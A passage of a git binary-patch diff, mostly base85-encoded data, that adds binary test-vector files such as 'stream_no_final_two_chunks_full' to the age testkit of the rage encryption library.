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 literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/stream_no_final_two_chunks_full b/lib/rage/age/tests/testdata/testkit/stream_no_final_two_chunks_full new file mode 100644 index 0000000000000000000000000000000000000000..88930eed714280ffe459d58042db79925d6549bf GIT binary patch literal 131515 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 